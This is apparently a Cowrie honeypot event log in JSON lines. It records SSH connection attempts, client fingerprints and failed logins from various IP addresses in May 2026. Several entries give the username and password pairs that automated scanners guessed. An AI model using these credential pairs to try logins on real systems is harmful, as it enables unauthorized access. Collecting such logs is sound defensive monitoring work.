{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:56.620213Z","src_ip":"176.65.139.103","session":"b3bc15d07fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:56.961821Z","src_ip":"176.65.139.103","session":"b3bc15d07fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:58.050352Z","src_ip":"176.65.139.103","session":"b3bc15d07fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.566805839538574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:58.527068Z","src_ip":"185.26.126.47","session":"e561e5231406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"847d2267e1e4","protocol":"ssh","message":"New connection: 202.184.144.220:60518 (10.17.0.5:22) [session: 847d2267e1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:58.733622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:58.736948Z","src_ip":"202.184.144.220","session":"847d2267e1e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:58.978139Z","src_ip":"202.184.144.220","session":"847d2267e1e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwert","message":"login attempt [root/1234@qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:07:59.978381Z","src_ip":"202.184.144.220","session":"847d2267e1e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:01.222990Z","src_ip":"202.184.144.220","session":"847d2267e1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35844,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d23c7df7a1","protocol":"ssh","message":"New connection: 176.65.139.103:35844 (10.17.0.5:22) [session: 69d23c7df7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:02.717708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:02.722673Z","src_ip":"176.65.139.103","session":"69d23c7df7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:02.819213Z","src_ip":"176.65.139.103","session":"69d23c7df7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:03.078380Z","src_ip":"176.65.139.103","session":"69d23c7df7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:04.177510Z","src_ip":"176.65.139.103","session":"69d23c7df7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55840,"dst_ip":"10.17.0.5","dst_port":22,"session":"b10d79f4b0d4","protocol":"ssh","message":"New connection: 80.94.92.182:55840 (10.17.0.5:22) [session: b10d79f4b0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:05.890351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:06.029856Z","src_ip":"80.94.92.182","session":"b10d79f4b0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:06.032969Z","src_ip":"80.94.92.182","session":"b10d79f4b0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"qwer1234","message":"login attempt [solana/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:06.777775Z","src_ip":"80.94.92.182","session":"b10d79f4b0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:08.066805Z","src_ip":"80.94.92.182","session":"b10d79f4b0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36148,"dst_ip":"10.17.0.5","dst_port":22,"session":"f00baf8a0356","protocol":"ssh","message":"New connection: 176.65.139.103:36148 (10.17.0.5:22) [session: f00baf8a0356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:09.159134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:09.163196Z","src_ip":"176.65.139.103","session":"f00baf8a0356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:09.244901Z","src_ip":"176.65.139.103","session":"f00baf8a0356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:09.496038Z","src_ip":"176.65.139.103","session":"f00baf8a0356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:10.711190Z","src_ip":"176.65.139.103","session":"f00baf8a0356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":45794,"dst_ip":"10.17.0.5","dst_port":22,"session":"487cc3758fd2","protocol":"ssh","message":"New connection: 103.176.20.115:45794 (10.17.0.5:22) [session: 487cc3758fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:11.530389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:11.534564Z","src_ip":"103.176.20.115","session":"487cc3758fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:11.787897Z","src_ip":"103.176.20.115","session":"487cc3758fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2026","message":"login attempt [test/Test2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:12.834321Z","src_ip":"103.176.20.115","session":"487cc3758fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:14.090669Z","src_ip":"103.176.20.115","session":"487cc3758fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57504,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e88a5738f45","protocol":"ssh","message":"New connection: 176.65.139.103:57504 (10.17.0.5:22) [session: 3e88a5738f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:15.791206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:15.851728Z","src_ip":"176.65.139.103","session":"3e88a5738f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:15.914543Z","src_ip":"176.65.139.103","session":"3e88a5738f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:16.258113Z","src_ip":"176.65.139.103","session":"3e88a5738f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"fac9aeeb0a55","protocol":"ssh","message":"New connection: 159.203.92.129:44520 (159.203.135.109:22) [session: fac9aeeb0a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:16.747121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:16.754625Z","src_ip":"159.203.92.129","session":"fac9aeeb0a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:16.757885Z","src_ip":"159.203.92.129","session":"fac9aeeb0a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456@abc","message":"login attempt [ansible/123456@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:16.896771Z","src_ip":"159.203.92.129","session":"fac9aeeb0a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:17.343308Z","src_ip":"176.65.139.103","session":"3e88a5738f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:17.904329Z","src_ip":"159.203.92.129","session":"fac9aeeb0a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57518,"dst_ip":"10.17.0.5","dst_port":22,"session":"05881ff8c5e6","protocol":"ssh","message":"New connection: 176.65.139.103:57518 (10.17.0.5:22) [session: 05881ff8c5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:22.409640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:08:22.414919Z","src_ip":"176.65.139.103","session":"05881ff8c5e6","protocol":"ssh"}
